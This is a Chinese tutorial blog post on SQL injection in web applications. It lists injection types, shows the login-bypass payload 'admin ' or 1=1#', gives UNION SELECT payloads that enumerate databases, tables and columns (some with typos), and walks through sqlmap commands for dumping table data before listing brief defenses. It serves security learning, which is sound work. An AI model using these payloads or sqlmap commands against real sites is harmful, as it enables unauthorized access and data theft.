WEB漏洞之SQL注入

SQL注入的简单例子:

使用URL:http://localhost/a.php?id=1'

在程序中,会执行下面的语句:

$id=$_GET['id'];

$sql="SELECT * FROM user WHERE id=$id' LIMIT 0,1"

执行上面的这条语句就会报错,这里如果不对URL进行判断,那么这就会导致语句的执行错误,严重的,别人就可以获取到想要的数据信息。

如何去发现SQL注入:

  1. 通过web漏洞扫描器发现
  2. 在参数后面添加错误语句
  3. 大量的对参数Fuzz测试

注入的分类

  1. 数字型注入:SELECT * FROM users WHERE id=$id LIMIT 0,1;
  2. 字符型注入:SELECT * FROM users WHERE username='admin' LIMIT 0,1;
  3. 注入提交的方式:GET,POST ,COOKIE,HTTP头部注入

注入方式

  1. 基于报错注入:注入错误,通过报错获取信息。
  2. 基于布尔的盲注
  3. 基于时间的盲注
  4. 联合查询
  5. 内联查询
  6. 堆叠的查询

常用的方式是前四种。

SQL手工注入

万能密码:PHP项目下,通过注入以下形式的sql,就能直接登陆到后台网站,而不需要密码:

admin ' or 1=1#

结合下面的SQL登陆判断

select * from user where username='$user' and passwd='$pass';

通过提交上面的字符,程序执行就会像下面这样:

select * from user where username ='admin' or 1=1 #' and password='pass';   //这样,#号后面的语句就会被注释掉,这样就绕过了程序对用户的判断。而直接以admin用户登陆

SQL注入的流程

  1. 猜解字段
  2. 查看当前数据库   ——>  猜解数据库中的表——>猜解数据库中有哪些字段
  3. Union select 1,group_concat(schema_name),3 from information_scheema.schemate%23    //查询所有数据库
  4. union select 1,group_concat(table_name),3 from information from information_schema.tables where  table_schema=0x736563757269749%23 //查询数据库中的表

UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns where table_name=0x736563757269749%23     //查看当前数据库中有哪些字段。

sqlmap工具的学习

官网:http://sqlmap.org/,我们可以使用扫描器,扫描出已有的SQL注入漏洞,然后再使用该工具进行测试该漏洞。

该工具用于测试业务是否有sql注入的漏洞。

使用方法:

python sqlmap.py -u "http://your url"  -v 3

-v 3表示的是sql注入的级别。为1~6,数字越大,代表了注入的时候,显示的信息越详细。

python sqlmap.py -u "http://your url"  -v 3 --current-db    //用于查看当前数据库的名称

python sqlmap.py -u "http://your url"  -v 3 --current-users   //当前数据库使用的用户和权限

python sqlmap.py -u "http://your url"  -v 3 --tables -D 数据库名   //查看当前数据库中有哪些表

python sqlmap.py -u "http://your url"  -v 3 --column -T 表名  -D 数据库名    //查看指定表下有哪些字段

python sqlmap.py -u "http://your url"  -v 3 --dump   -T 表名 -D 数据库名   //查看该表下有哪些数据。

上面的方式为GET注入的方式,下面记录以POST的方式,借助sqlmap进行注入:

借助于burpsuite,进行抓包,将抓取到的东西,保存至文档中1.txt,使用sqlmap分析该文档

python sqlmap.py -r 1.txt -v3

这样就可以对该网站进行post注入测试了。

如何防护SQL注入呢:

  1. CDN隐藏真是IP地址
  2. 通过安全函数进行过滤
  3. 对数据库最小权限设置,就算注入获取到该网站的数据库,其它的数据库也会很安全。
  4. 服务器针对性的WAF防火墙。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值